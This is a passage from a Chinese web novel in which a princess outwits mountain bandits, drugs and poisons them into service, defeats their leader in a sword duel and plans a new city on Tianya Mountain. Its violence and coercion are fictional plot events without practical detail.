沈安若手里的红绫也准确的缠住了利箭,如今将利箭往回扔。 很快,四周出现了很多山匪,将整个队伍都包围了起来。 领头人身边的一个大胡子高声的喊着。 “此山是我开,此树是我栽,要想此路过,留下买路财。” 这老掉牙的喊话词,沈安若忍不住翻了一个白眼。 剑柏靠近了过来。 “主子,我看到领头人衣袖上有绣一只虎,应该就是天涯山的龙虎山寨了。” “据说这个山寨里有不少打手,算得上是天涯山排名前五的山寨了。” 站在商玄澈身边的苍术手握利箭,一脸的冷意。 “放肆…………” 沈安若抬手示意他不要说话,将目光看向了领头的人。 “只是图财吗?” 大胡子诧异了一下,然后开口道。 “只要你们交出身上值钱的东西,我们就饶你性命。” 沈安若笑着开口。 “我们这里的确有一些金银财宝。” 抬手指了指后面的两个马车。 “这后面两个马车上装的是我的嫁妆,箱子里全部装的都是金银首饰,就用来请你们让个路吧!” 这嫁妆要是丢了,以后还怎么在天元立足,王司记脸上有了一抹着急。 “公………小姐…………” 沈安若抬手示意她不要说话,朝她笑了笑。 沈安昕则看了沈安若一眼,若有所思,若儿这是又想做什么。 商玄澈则看了她一看,默默的站在她的身边。 山匪们则都惊讶了,打劫了这么多年,第一次见如此识趣的。 大胡子朝他身边的领头人开口。 “二当家的,你看…………” 领头人看着沈安若,目光里带着一抹好奇。 “不知道这位姑娘是哪里人,居然如此的识趣。” 沈安若笑着开口。 “从南诏而来的商人,今日就当跟诸位交一个朋友,后面马车上的金银财宝给你们,但是我们手里的帐篷食物还请你们手下留情,若是你们答应的话,今日倒是不必刀剑相向了,若是不答应,我们也不是吃素的。” 就刚刚的竹阵,还有利箭都被轻而易举的破解了,这要是真打起来,谁输谁赢的确不一定。 二当家看着沈安若。 “这么多的钱财就这么给我们了,姑娘你甘心吗?” 沈安若听了笑着开口。 “再多的钱财没有命又有什么用呢?就当是过路费了,反正我又不缺银子。” “二当家直接带着这两辆马车走吧。” 商玄澈见状,给赶马车的人使用一个眼神。 很快,侍卫就将马车赶上前。 二当家朝大胡子使了一个眼。 大胡子上前打开一个箱子,拿出一锭银子。 “二当家,真的是金银财宝。” 二当家一抬手,山匪就将马车赶走。 “没想到姑娘居然如此通透,那就告辞了。” 沈安若笑着点了点头。 幸亏昨晚自己关上箱子,又想起来留下一些鱼饵,不然就穿帮了。 清风寨。 等到将那些金银财宝搬回寨子的时候,天色已经暗下来了。 大胡子一边搬一边开口道。 “二当家的,这一次的打劫也太顺利了,这箱子沉甸甸的,装的可都是好东西,可惜大当家的不在,不然今晚就应该好好的喝酒吃肉庆祝。” 二当家的看着一箱又一箱搬进山洞的箱子,脸上带着笑意,抢劫了这么多财物,等到大哥回来一定会表扬自己的。 “这么多东西,今年我们都不用愁了,今晚也一样的吃肉喝酒庆祝,等到大当家回来我们再庆祝一次。” 搬箱子的山匪一听,高兴地欢呼起来。 “好,二当家的威武。” “稍后我们要敬二当家一杯,今日能够抢来这么多的财物,多亏二当家的领导有方。” 等待将所有的箱子都归置好以后,二当家的亲自将山洞的门关上,又将外面的大门上锁。 “走,兄弟们,喝酒去。” “走走走………” 随着他们走远,守在山洞大门的两个山匪忽然就倒下了。 只见沈安若出现在山壁的地方,手里还拿着药瓶,然后慢慢的拿出瓶盖,将瓶子盖上,收了起来,一步步走向大门,眼里冒着星星,这些人当了这么多年的山匪,肯定在这里面藏了很多好东西。 只见沈安若拿出一根钢丝,捣鼓几下,很快就打开了铁门。 只见走进去,一个偌大的山洞里,一面摆满了各种箱子,另一面是一袋又一袋的粮食,角落里还有一些杂物。 沈安若抬手一挥,箱子都打开,只见不少的金银财宝,毫不客气的劝不收入空间。 看了一眼堆积在一起色粮食,沈安若也不客气的笑纳了。 然后拿出几坛酒,倒在杂物还有箱子上。 拿出火柴划燃,扔在了上面,大火一瞬间燃了起来,沈安若转身一脸笑意的朝外走去。 此时山寨的前院,众人正在喝酒吃肉。 “来,二当家的兄弟敬你。” “二当家的我也敬你。” “来,喝,兄弟们吃肉。” 二当家的端着大碗与大家碰了碰。 “好,都喝,不醉不归………” 忽然一道声音响起。 “不好了,二当家的,山洞那边好像着火了……………” 只见山洞库存金银财宝和粮食的地方青烟袅袅,火光冲天。 “什么?”二当家的一下子站了起来,手中的酒碗摔落在地,碎片四溅。 他的脸上满是惊恐与不可置信。 “怎么会着火?” “守门的人是干什么吃的?” “快,快救火。” 二当家的大吼一声,率先就朝山洞那边跑。 可是没有跑两步,浑身发软,一下子摔倒在地上,整个人神情一懵。 是怎么回事? 其他的山匪也一个接一个的倒下。 只见一对男女携手而来,男的一身黑色劲装,一脸的威严,女子一身红衣,脸上带着笑意…………… 第六十九章 可你们刚刚吃的是毒药 商玄澈与沈安若站在火光映照下,看着瘫倒在地的一众山匪,眼中闪过一丝冷意。 “你们……做了什么?”二当家挣扎着,想要站起来,却发现浑身无力。 沈安若轻轻一笑,走在商玄澈拉过来的椅子边坐下。 “不过是在你们喝的酒里加了一点料,放心,不致命,只是让你们暂时动弹不得。” “你……你们到底是谁?”二当家眼中满是惊恐与愤怒。 商玄澈也坐在了沈安若的身边,冷冷开口,“看来二当家的记性不太好,白日里我们才见过。” 二当家一怔,随即反应过来,“你们是那些商人?你们利用我们尾随来了山寨,卑鄙无耻…………” 躺在地上的其他山匪也都尝试着挣扎起来,可是只能无力的躺在地上,有的靠在桌子边或者椅子边。 “果然商人都是奸诈的!” 沈安若拿出一把匕首把玩着。 “你们的大当家呢?” 二当家的看着沈安若,咬牙切齿的开口。 “你休想从我们的嘴里知道什么?” “我告诉你,我们大哥很厉害的,你现在居然烧了我们的库房,等到大当家回来以后,你们一个也跑不掉,一定会让你们生不如死…………” 沈安若抬手一挥,手中的匕首准确的加入了二当家的左肩。 “我不喜欢别人跟我说话的时候废话太多。” 二当家的惨叫一声。 “啊………” 左肩上的鲜血流了下来,他费劲的用右手去捂住伤口。 “你们…………” 沈安若的手里又出现了一把匕首。 “你最好想好了说,不然下一刀我保证它扎进你的脖子里。” 二当家的看着她,只见她居高临下,脸上带着笑意,可是眼里都是嗜血的杀意,这哪里是一个美人?这简直就是地狱爬出来的魔鬼!而当家的忍不住身子都在发抖。 “我…………我们也不知道大当家去了哪里,大当家武功高强,经常游历在外,我们我们也是好几个月才会见他,他经常都是回来看看我们又走了!” 当山匪还有当得这么神秘的吗?沈安若笑了一下。 “所以你们不知道他什么时候回来?” 二当家的摇了摇头,不知道为什么?看到这个女人的笑脸,自己总感觉慎得慌。 “不知道…………我………我说的都是实话,你们你们到底想做什?” 沈安若身子往后靠了靠,翘起了二换腿。 “不想做什么?” “主要是我心地善良,看着你们没了钱财,又没有了粮食,想给你们提供一条生路。” 这女人烧了山寨里的仓库,怎么可能是一个善茬 “你怎么可能这么好心?” 沈安若听了微笑着赞同的点了点头。 “你说的也对,这天上不会掉馅饼,所以我准备给你们两个选择。” 手中的匕首已经收了起来,手里面出现了两瓶药,是现代那种装药的盒子。 “第一个选择,你们以后给我办事,我可以每个月给你们发银子,然后你们还不用再做这种打劫的事情了,第二嘛,我再放一把火,你们可以下辈子继续做兄弟。” 此时苍术与剑柏走了过来。 苍术的剑上都还带着血。 “主子,夫人,外面站哨的,没有中药的,已经都解决了。” 二当家的一脸惊恐。 “你们………你们…………” 苍术开口道。 “慌什么,我们夫人心善,没有杀死,只是让他们受伤了,不过你要是选错了,你的那些兄弟来不及及时止血上药,只怕真的要命丧黄泉了。” 沈安若掂着手里的药品。 “二当家的,想好了吗?” “你们要是跟着我,以后我就是你们大当家的,而且我还可以让你们离开这里,我相信你们当初落草为寇,也是有不得已的苦衷,过去的呢从现在开始都过去了,跟着我我会给你们一份全新的生活。” 二当家总感觉这女人虽然说话温温柔柔的,但是就凭刚刚的那一刀,绝对有什么坏心眼。 “你………你以后想让我们做什么?” 沈安若听了眨了一下眼睛。 “我说二当家的,你们是什么人?” “你们是山匪啊,你们都打劫了,以后不论做什么都别打劫好吧?” 二当家的看哪里看她。 “大当家的不在,山寨里的事情都是我做主,我总不能不顾及兄弟们的性命。” 沈安若听了微微点头。 “你好像说的有那么一丁点道理。” “不过你们放心吧,我也不是那种随意杀人的人,大概会让你们以后去搜集点情报啊,多招揽一点兄弟啊之类的,但是有一点,你们以后要是还抢夺百姓的财物,那我就会杀了你们。” 二当家挣扎着坐了起来,肩上的血还在流淌,他的右手已经被鲜血染红了,嘴唇有些发白的开口。 “我凭什么相信你?” 在药物的作用下,又挨了一刀,都还能够做起来,倒是一个硬汉,要是能够忠心的话,以后倒是可以多用用,沈安若看了他一眼。 “那不然二当家你要选第二个选择吗?” 扫视了一眼,躺在地上或者靠着桌子的山匪。 “你这些兄弟都不少呢。” “你舍得看着他们全部被烧死啊?” 其中一个山匪开口。 “你真的会给我们发银子吗?” “能不能保证我们有饭吃?” 沈安若笑着开口。 “包的。” “放心吧,不只是有饭吃,甚至隔三差五还会有肉吃,只要你们听话做事,我身为你们的大当家绝对不会亏待你们。” 在二当家不远处的山匪开口。 “二当家的,我还不想死,要不要不你就带着兄弟们跟着她吧,虽然………虽然她是一个女人,可是她说会给我们银子。” 另外一个山匪已开口道。 “二当家的,我们当山匪不也是为了活下去吗?她要是真的能够让我们有饭吃,那就跟着她吧!” 二当家费劲的看向山洞那边,看着那个火势,只怕是仓库已经烧了个干净。 “我们……我们选择跟着你。”二当家最终咬了咬牙,做出了决定。 其他山匪也都纷纷附和。 “我们也选择跟着你,但是说好的你要给我们银子,要让我们吃饱饭。” 沈安若满意地点点头。 “很好,识时务者为俊杰,你们以后会谢谢自己今天所做的决定的。” 随即将手里的药瓶递给苍术和剑柏。 “解药给他们喂下去。” 随即拿出一个瓶子打开,很快香溢四散,整个寨子里都是香味。 大概半柱香的时间以后,山匪了都吃了药。 二当家的第一个感觉自己有了力气,忍着左肩的疼痛走到了一把椅子边坐下。 “你就这么给我们解药了?” “不怕我现在下令让兄弟们杀了你们吗?” 有几个山匪已经眼里露出狠意,只带二当家一声令下。 沈安若不紧不慢地拿出盖子,将瓶子盖上收了起来。 “可你们刚刚吃的是毒药!” 第七十章 留在幽州 二当家一下子看着她,眼里露出狠意。 “你刚刚不是说是解药吗?” 商玄澈冷眼看过去。 “你再敢用这种眼神看她,你的眼睛就别要了。” 沈安若看着二当家的开口。 “你们这么多人,我又不傻,我怎么可能对你们没有防备?” “刚刚你们吃的药呢是一种来自南诏皇室特殊的毒药,解药我会让人一个月给你们一次,只要你们乖乖办事,就保你们性命无虞。” 想到她手里刚刚收起来的瓶子,二当家开口道。 “我们现在身上有力气了,所以你刚刚手里的那个瓶子散发出来的香味才是解药对吗?” 沈安若笑着看着二当家。 “恭喜二当家,猜的可真准。” 然后朝剑柏使了一个眼神。 剑柏上前递了一瓶金疮药给二当家的。 沈安若继续开口。 “这是上好的金疮药,今日就赠送给二当家了。” “这山寨里面吃的都没有了,想来二当家也是要去城里采购的,想要采购不是去南诏就是去天元,不如二当家明日带上一些武功高强的兄弟,跟我们一道前往天元吧。” “放心,说了会管你们吃饱饭,你们采购的银子我来付。” “都说这天涯山不太平,也刚好让我见识一下诸位兄弟的本领。” 这是想要看看山寨兄弟的本事,二当家的点了点头。 “我明白了。” 沈安若站了起来。 “二当家的怎么称呼?” 二当家的开口。 “在下江千屿。” 沈安若微微点头。 “原来是江公子。” “你这二当家的头衔怕是当不了了,往后你们的二当家另有其人,以后你可以让兄弟们喊你一声江公子或者三当家的。” 江千屿闻言,脸色微变,低下头,不甘心又怎么样呢?现在整个宅子的兄弟命都在人家的手里,声音略带苦涩。 “是,一切听从大当家的安排。” “只是不知道我们的二当家是何许人也。” 沈安若听了缓缓开口。 “你们能够在天涯山这个地方立足,身上肯定有几分本事,可是你们身上的这股匪气杀性太重了,我给你们找了一个知书达理,浑身散发着温柔气息的二当家,希望能够改一改你们身上的匪气,毕竟以后你们可就不做山匪了。” “行了,天色很晚了,明天还要赶路呢,你们都早些休息,明日在昨日你们打劫我们的地方集合。” 说完朝商玄澈伸出手,二人携手而去。 苍术看了一眼江千屿。 “你们以后就知道了,遇到这样的一个大当家是你们的福气,千万不要生出事端来,不然我的主子会让你们生不如死。” 待几人都离开了。 江千屿急忙开口。 “快看看受伤的兄弟们。” 一个人走上前。 “二当家的,还是让我先给你看看伤吧。” 山寨里面这么多人,自然是有懂医术的存在,很快江千屿的伤就包扎好了。 “齐大夫,你快给兄弟们看看,这毒药有没有解?” 齐大夫听了直接给江千屿把脉。 “二当家的,在下医术浅薄,看不出来这是什么毒药。” 江千屿听得脸色一沉,心里最后的希望破灭,也是,能够拿出来这么多毒药的怎么可能是一般人?这毒药也更不可能是一般的毒药。 “罢了,等到了天元,找机会多找几个大夫看看。” 而沈安若与商玄澈这边。 沈安若走路的脚步都轻快了几分,那些山匪吃了毒药,不愁以后不听长姐的话,天元皇城尔虞我诈的,长姐还是暂时留在附近的城市吧,以后看看在自己的帮助下长姐能不能收服天涯山的势力。 看着她高兴的模样,商玄澈偏头看着她。 “就几百人而已,这么开心?” 沈安若点了点头。 “那当然,他们以后为我所用嘛。” 商玄澈开口道。 “他们不值你的那些嫁妆。” 沈安若听了朝他狡黠的笑了笑。 “我的嫁妆肯定是还在的,烧掉的那些不过就是一些中看不中用的东西,一路大张旗鼓的带着,反而引来别人觊觎,银票都在我的手里呢,等到了天元再置办就是。” 商玄澈听了缓缓开口。 “也是,只要你高兴便好。” “到了天元以后,我会替你再准备一份嫁妆,我们大婚的时候,一定会让你风风光光的。” 沈安若听得一脸的笑意,抬头看着商玄澈。 “没想到玄澈是这么好的一个男朋友,这男友力也太足了,有财力,会杀人,打架厉害,还会下药,我怎么有这么好的运气,得到了这么优秀的一个男朋友。” 听着她一句又一句的夸赞,商玄澈带着几分疑惑的开口。 “男朋友?” 沈安若点了点头。 “可以理解为未婚夫的意思,是南诏民间的一种叫法。” 商玄澈握紧了她的手,嘴角勾起一抹笑意。 竹林扎营的地方。 沈安昕站在帐篷前,一脸的担忧,若儿怎么还不回来? 王司记也忍不住担忧,可是看着沈安昕着急的样子,还是开口安慰。 “大小姐别担心,公主很有分寸的,会保护好自己的,更何况太子殿下武功高强,也会保护好公主的。” 沈安昕看着远方,紧紧握住手,如果自己一会武功就好了,这样就可以与若儿一起。 忽然见沈安若与商玄澈出现。 沈安昕直接向前跑去。 “若儿,若儿…………” 拉着沈安若打量。 “怎么样?没有受伤吧?” 沈安若握着沈安昕的手。 “没有受伤,姐姐你就放心吧。” 然后看了一眼身边的太子。 “太子殿下将我保护的很好。” 商玄澈看了她一眼,就她扔刀的准确度,感觉没有自己她也能行。 自己今晚都干了什么? 大概就是拿着她给的药给那些山匪的酒里还有水里下药,堂堂天元储君啊,去干下药的活。 第二天一早,江千屿就带着差不多一百多人来了,跟着队伍一起出发。 一路上也遇到几波不长眼试图打劫的,都被江千屿带人解决了。 倒是让剑柏与苍术等保护的人省力了。 直到确定了江千屿的能力,商玄澈让人将天元皇室的标识挂了上去,一路开始畅通无阻。 江千屿看着马车上的旗帜,一下子陷入了沉思。 这是打劫了什么人?虽然天涯山乱,但是大家都很默契,那就是不招惹各国皇室,不然人家真要出兵报复,就天元那种大国,天涯山得寸草不生啊。 等到了天元的幽州,因为带着江千屿等人,也不好住驿站。 所以包了一个客栈居住。 沈安若大方的给了江千屿银票,让他带着人去采购。 相比南诏的文州,天元不愧是大国,幽州同为边关城市,但是没有那么多的乞丐,偶尔在角落里看到两三个,也有会有人主动给一些吃的。 沈安若今日是与沈安昕在房间里吃饭的,吃饱以后,开始跟沈安昕商量。 “姐姐,你觉得这幽州怎么样?” 沈安昕沉思片刻。 “比起南诏,天元不愧是大国,幽州本是边城地区却比南诏的许多地方都繁华太多。” 沈安若看着她小心翼翼的开口。 “那若是让姐姐你留在幽州,姐姐可愿意?” 第七十一章 打一场 沈安昕听了急忙开口。 “你不带姐姐去天元皇城了?” 沈安若伸手握住她的手。 “姐姐,原本我想着,我带你离开了沈家,我们到天元可以有一个新的生活,可是这些日子我与太子聊到了天元的许多事情,这天元,怕是不好混啊。” “就皇家挣权这一点,都是腥风血雨,天元好几个皇子,背后都有大家族支持,都在有意争夺储君之位,我又是未来的太子妃,这到了天元,只怕是算计不断,太危险了,姐姐不如留在幽州,等到一切稳定了,我再来接姐姐。” 沈安昕听了着急的开口。 “那我更要陪在你的身边,若儿,虽然姐姐没有什么大的本事,但是这么多年能够在柳姨娘的手底下护着你长大,也是有过一点…………” 沈安若自然听懂她话里的意思,握着她的手笑了笑。 “我当然知道我的姐姐有很大的本事,而且我也知道若是带着姐姐去天元,姐姐一定会帮我许多忙,可是姐姐,不论南诏还是天元,对我们来说都不是退路,我们姐妹需要有一个退路,有一个我们姐妹的家。” 沈安昕好像有了什么预感。 “所以你收服那些山匪是想让他们为自己所用。” “可你让我留在幽州,可是幽州也属于天元的管辖。” 沈安若听了一脸笑意的开口。 “让姐姐留在幽州,是因为在幽州相当于要安全一些,天涯山太乱了,我不能让姐姐身至危险之中,等到姐姐你在幽州稳定下来,然后让江千屿慢慢扩张势力。” “我们现在手里有孟家给的六个暗卫,这些暗卫我观察过了,武功高强,听话懂事,还有皇帝舅舅给的两个皇家暗卫,除了剑柏和剑兰,另外的剑塑给陆今也,其他的都留给姐姐,这些人足够保护姐姐的安全,就算真的有一个万一,也能护着姐姐隐藏起来。” 沈安昕听了急忙拒绝。 “这不行,若儿,你要去天元皇城,你也说了那边会有许多的危险和算计,你身边需要人保护。” 沈安若笑着看着沈安昕。 “姐姐,你放心好了,我会保护好自己的,那你好歹是天元的皇城,主要是深宫内宅的阴私手段比较多,我身边还有王司记呢,而且到了皇城那边,太子府有的是人保护。” “反而你在幽州,这里民风朴素,但是也容易会遇到一些不长眼,只有给你身边留了足够的人,我这心里才能放心下来。” 自从跟傅家翻脸,自己就发现若儿不一样,很注意自己的身子,而且事事都在保护自己,不像以前那样,是一个需要自己保护的妹妹,沈安昕一脸担忧的开口。 “若儿,你把大部分人都留给了姐姐,姐姐又怎么放心?” 沈安若撒娇的开口。 “哎呀,姐姐,你先听若儿把话说完嘛。” “之所以说姐姐你的身边需要这么多人保护,那是因为我的姐姐要帮我做一件大事。” 在沈安昕诧异的目光中。 沈安若继续开口。 “刚刚不是说了,让江千屿扩张天涯山的势力,我的目的是想让姐姐你慢慢收服整个天涯山,若是有一天我在天元混不下去了,就可以回家找姐姐了。” 沈安昕听了皱眉道。 “若儿是想让我们有属于自己的地方,可是这天涯山太乱了,并不是什么好地方。” 沈安若看着她开口。 “姐姐,就是因为这个地方乱,我们才有机会,我让人查了,沦落到那个地方的,三教九流,亡命之徒,落魄公子,贫苦百姓,什么样的人都有。” “这些人的终究目的都是为了活下去,我们手里不缺银,可是我们缺少可用之人,我们给那些人想要的,不怕收服不了他们,就算真的收服不了,我们也要在天涯山有一席之地,让龙虎寨成为惹不起的一方势力。” 沈安昕听了沈安若的话,陷入了沉思。她明白妹妹的意图,也知道她这么做是为了她们俩的未来打算。毕竟靠谁都不一定靠得住,可是,一想到要在这混乱的天涯山立足,就感到一阵压力。 “若儿,这事情太大了,我怕我做不来。” “后宅里虽然也复杂,可是这斗来斗去也就那些手段,这天涯山可不是闹着玩的。” 沈安若看着她的眼睛。 “姐姐,我相信你,你可以的,而且姐姐你不会是一个人去做这件事,外面行走的是江千屿,暗卫里剑锋心思活跃,让他跟在江千屿身边,你只要在幽州坐镇,每个月给他们解药,让他们给你汇报情况就好。” 沈安昕听得眼里一抹惊讶。 “解药?” 沈安若笑着点了点头。 “对,就是解药,江千屿他们几百人我都下了药的,一个月一次解药,为了活命,他们会好好听你话的,因为你要是有什么意外,他们所有人都要陪葬。” 若儿居然私下里做了这么多了,自己要是再推辞就太懦弱了。 “那我试试,若儿,姐姐会尽力做好,给你一个家。” 果然还是美人姐姐靠谱,沈安若直接往她怀里一靠,伸手搂着她的腰,在她的怀里撒娇。 “我就知道姐姐最好了。” 沈安昕搂着她,眼里的眼神变得坚定,虽然很难,但是自己一定要将天涯山拿下,让若儿以后有家可回。 玉儿此时走进来。 “公主,江公子回来了,看神色不太好的样子。” 这是看了大夫回来了,沈安若嘴角勾起一抹笑意。 “让他到后院,我有事给他说。” 后院。 江千羽站在月色里,十月的天晚上有点凉,微风吹起,他浅蓝色的衣袍随风飘扬,今日自己一连看了好几个大夫,自己的确中毒了,但是看不出来是什么毒,更别说是什么解药了。 手底下的兄弟也有去看了大夫的,毫不例外,得到的结果都是一样的,这毒解不了。 “江公子。” 沈安若的声音响起,江千屿转身拱手,却见她手里有一把剑。 “大当家。” 沈安若看着他打量了一眼。 “这是看了大夫回来了?” 江千屿闻言苦笑了一下。 “果然瞒不过大当家,看过了,没有大夫能解。” 沈安若笑着点了点头,对于这个结果一点都不意外。 “这药是皇室给死士吃的,民间自然是找不到解药的,也没有大夫能解。” 江千屿摸了摸鼻尖,脸上有几分尴尬。 沈安若继续开口。 “江公子,我们打一场吧,若是我输了,我把解药给你,若是我赢了,江公子替我卖命五年,五年以后江公子若想要自由,我还你自由。” 江千屿震惊的看了沈安若一眼,然后开口。 “好。” 沈安若看着他。 “那拔剑吧!” 二人几乎同时出剑。 月光下,剑光如水,两道身影快速交错,剑尖相碰发出清脆的声响。 沈安若身姿轻盈,剑法灵动而刁钻,每一招都直指要害。 江千屿则沉稳有力,剑法大开大合,攻守兼备。 一时间,后院中只闻剑风呼啸,两人的身影在月光下拉长,交织出一幅动人心魄的画面。 商玄澈站在二楼的窗户前看着楼下院子里的打斗,那一身红衣是那么的耀眼。 陈先生站在他的身边,手里拿着一把羽扇。 “殿下,看来太子妃不知是有手段,武功也不差,这只是属下有些奇怪,根据我们查到的消息,太子妃并不会武功,而且有一点娇弱,在沈家都靠沈大小姐护着,难不成我们查的消息有误?” 第七十二章 不敬她者杀 商玄澈看着她出手每一招都是杀意,那是要经过无数的战斗才能够练就出来的杀意,她到底还经历了什么自己不知道的? “不论她是谁,不论她以前怎么样,本宫只知道,她以后就是本宫的太子妃,是要与我生死与共的妻子。” 陈先生看着楼下打得昏天黑地的二人,点了点头。 皇上为了偏袒秦王,故意让殿下来南诏接亲,让秦王娶了世家之女做支持,若是皇上知道了太子妃的本事,不知道会不会后悔。 几十个回合过后,沈安若身形一闪,险险的避开江千屿的利剑,划破了手臂的衣服,但她的剑尖险之又险地从江千屿肋间掠过,停在了他喉前一寸处。 “江公子,看来我赢了呢!” 江千屿收剑,面色凝重,自己居然输了,却也带着一丝敬佩,原本自己以为在山寨只是因为一时大意,看来这位新的大当家的确有本事。 “大当家剑法高超,江某佩服。” 楼上的陈先生先是心里一惊,然后又安心了下来,刚刚太子妃赢的好险。 “殿下,你不但心?” 商玄澈看着楼下脸上带着笑意的人。 “她不会输的,本宫不知道她的武功具体如何,但是知道她绝对不会做没有把握的事情。” 同样看着的还有二楼的沈安昕,一脸的震惊,若是居然如此的厉害。 沈安若抬手将剑丢给剑兰,将手背在背后,捏了捏手。 该死的,手都麻了,真的还需要练,这身子用剑术也弱,而且还是弱爆了。 “既然江公子输了,那就叫上你有代表性的兄弟,见见你们的二当家吧。” 说完朝楼上走去。 客栈的一间房间里。 珠儿已经煮好了茶。 沈安昕还在窗户边震惊玉于沈安若的剑术中,整个人有些愣神。 沈安若走到她的身边。 “姐姐,回神了!” 沈安若这才回神,拉着沈安若的手臂一脸的激动。 “若儿,你怎么会这么厉害的武功?” “你从小也没有学武啊?” 沈安若笑着开口。 “因为不想被欺负,所以会夜深人静的时候悄悄练习,然后遇到太子殿下以后,太子殿下也指导了我的剑术,可能是因为我有一个很聪明的姐姐,所以我也很聪明,进步特别的快,今天居然就赢了江千屿了。” 沈安昕拉着她打量。 “刚刚没有受伤吧?” “你们打得太快了,我看的都眼花缭乱。” 当看到了她手臂上破损的衣服,眼里立即又有了担忧。 “这受伤了!” 但是检查并没有看到血迹,而且里衣还是好的。 沈安若笑着拉着她坐下。 “没有受伤,就是衣服破了一条口而已。” “快做好准备,我的二当家,稍后江千屿就带着人来拜见你了。” 果然。 门外传来了敲门声。 沈安若点了点头。 剑兰打开了房门。 江千屿带着几个人走进来,恭敬的拱手。 “见过大当家的。” 听着这异口同声的声音,果然还是实力才能让人心服口服啊。 沈安若抬手亲自给沈安昕倒了一杯茶,时常挂在脸上的那一抹笑意消失,取而代之的是一脸的冷冽,甚至浑身都散发出一股杀意。 “你们当了这么久的山匪,往后要想洗白身份,就得先把身上的那一股匪气化解,我身边的这位,是来自于皇族的人,琴棋书画样样精通,往后就是你们的二当家。” “她的话就等同于我的话,你们若是对我这个大当家的不敬,也就拉下去罚板子,但是你们若是对她不敬,那就是一个字,死!” 说着带着杀意的眼神,在几人的身上扫过。 江千屿急忙带着几人恭敬的朝沈安昕拱手。 “小人见过二当家,以后对二当家唯命是从。” 沈安昕甚至都能够感觉到身边有点凉飕飕的,定了定心神。 “你们都免礼。” 沈安若这才脸上露出笑意,将身上的那股杀意收了起来。 然后从手袖里面拿出来一张图纸。 将其铺在桌子上。 “江公子,你们要做的第一件事,就是在天涯山中间的位置,给我按照这图纸上的构造建造出来一座城,取名月清城。” 江千屿疑惑地接过图纸,展开一看,只见上面详细绘制着一座城池的布局图,既有宏伟的城门楼台,也有错落有致的街巷房屋,设计之精妙,令人叹为观止。 “大当家,这是要……”他抬头望向沈安若,眼中满是不可思议。 沈安若轻轻一笑。 “你们住的那个山寨不太好的样子,所以以天涯山为依托,建立起一座属于我们的城池。月清城,将成为我们新生活的起点,也是你们洗心革面、重新做人的证明。” “现在冬天来了,天气会越来越冷,若是遇上了下雨下雪,可以休息。” “另外,天山崖应该有许多人无处可去,或者被欺凌的,不论男女,都可以选择加入我们月清城,不过来了要干活,要遵守月清城的规矩,先把月清城建造起来让大家有一个住的地方,后面该做什么,二当家的会安排的。” 江千屿听着沈安若的这番话,心中涌起一股难以言喻的激动。 他们这些山匪,一直以来都是过着刀口舔血的生活,居住在山里,很多人更是居无定所,更别提有什么未来的规划。 而现在,沈安若不仅给了他们一个安身立命的地方,还为他们描绘了一个充满希望的未来。 她哪里是打劫的,她简直就是上天派来的活菩萨。 “大当家,”江千屿深吸一口气,郑重地说道,“您放心,我们一定会竭尽全力,按照您的吩咐,将月清城建造起来。从此以后,我们便是月清城的人,誓死效忠于您和二当家!” 沈安若闻言点了点头。 拿出一本册子。 “这是月清城的城规,凡是加入的都给我遵守上面的规则,若不然轻则赶出去,重则杖毙。” 第七十三章 刺杀 江千屿接过一看。 一看看到的就是。 过去就是过去,只是过去,不是过错,今日月清城就是新生。 第一条。 不得打架斗殴,若有争议可以请三当家评理。 第二条。 不得打劫过往商队,往后要接待过往商队的人。 第三条……………… 这是要彻底洗干净过去打打杀杀的生活啊,江千屿都不敢想这是一件多么伟大的事情。 沈安若继续开口。 “月清城有多少人,吃多少粮食,你可以做一个账本,让二当家的看,需要的粮食二当家会在幽州采购好,你负责运送就成,建造月清城你们可以就地取材,需要购买的就找二当家。” “若是有人不长眼上门挑事,能让他们加入的就加入,不能让他们加入的就选择井水不犯河水,若是遇到听不懂人话的,就打回去,需要高手的话可以找二当家的。” 江千屿此刻已经对沈安若佩服得五体投地,这位大当家不仅武功高强,而且智谋过人,更重要的是她有着一颗为他们这些山匪着想的仁心。 “大当家,您放心,江某一定不负所托,竭尽全力将月清城建造好,并且守护好它。”江千屿郑重地承诺道。 沈安若满意地点了点头,然后看向沈安昕。 “姐姐,以后月清城的内务就交给你了,包括人员登记、粮食分配、以及日常琐事的处理等。我相信你一定能做得很好。” 沈安昕虽然有些紧张,但还是坚定地点了点头。 “若儿,你放心,我会尽我所能去做好这些事情的。” 沈安若又拿出一张图纸递给沈安昕。 “这是月清城的详细规划图,包括各个区域的功能划分和建筑布局等。你可以根据这个图纸来安排人员的工作和住所等。” 沈安昕接过图纸仔细看了看,然后小心翼翼地收了起来。 既然要分别,沈安若肯定舍不得的。 晚上跟沈安昕睡在了一起。 加上还需要为沈安昕安排住的地方,队伍在幽州停了两天。 这两天,沈安若基本上都陪在沈安昕的身边,陪着她熟悉幽州,陪着她吃饭。 回到客栈。 苍术已经在门口等着。 跟着苍术来到了幽州繁华街道的一个宅院。 商玄澈已经在等着了。 “若若。” 沈安若拉着沈安昕上前。 “这就是你找的房子。” 商玄澈抬手示意她往里面走。 “这个位置在幽州的繁华街道,夜晚都是有官兵巡逻的,对于长姐来说比较安全。” “宅子里有四个院落,足够长姐和陆公子还有服侍保护的人住,前院也方便长姐会见客人。” 跟在后面的两个陆今也心里一紧,抬头看着沈安若的背影,自己也要被留下吗? 几人走进前院的大堂。。 只见布置简单,但是也雅致,主要是这个位置这么大的宅子是在难得。 商玄澈拿出地契。 “这是地契,官府那边已经过了流程,是长姐的名字。” 沈安若接过地契看了看,确定没问题以后开口。 “这个位置的房子不便宜吧?花了多少银子?我给你。” 商玄澈听了抬手轻轻拍了拍她的脑袋。 “你要不听听你在说什么?” 得,还挺大方,沈安若笑着将地契给沈安昕。 “姐姐你收着,就当你妹夫送你的礼物。” 沈安昕收了地契,朝商玄澈福身。 “多谢太子殿下。” 商玄澈拿出三块令牌给沈安若。 “这是太子府的令牌,长姐若是遇到了事情,可以找幽州州府求助。” “另外两块是南诏与天元互市的牌子,持牌子的商户可以凭借牌子运送货物流走两国,不过要经过专人检查。” 果然不愧是太子,这办事的效率太高了,沈安若将牌子给沈安昕。 “陆今也你暂时与姐姐留在幽州,你现在要做的就是了解幽州,然后采购粮食,具体需要采购多少,姐姐会告诉你的,剑塑留在你身边保护你的安全。” “等到姐姐这边稳定,你再前往天元皇城见我。” 虽然自己想跟在她的身边,但是自己更想让她看到自己的价值,陆今也拱手道。 “是。” 沈安昕的东西很快搬来了家里,宅子的牌匾换成沈府。 自己空间里的银子要是拿出来不好解释,但是银票好拿。 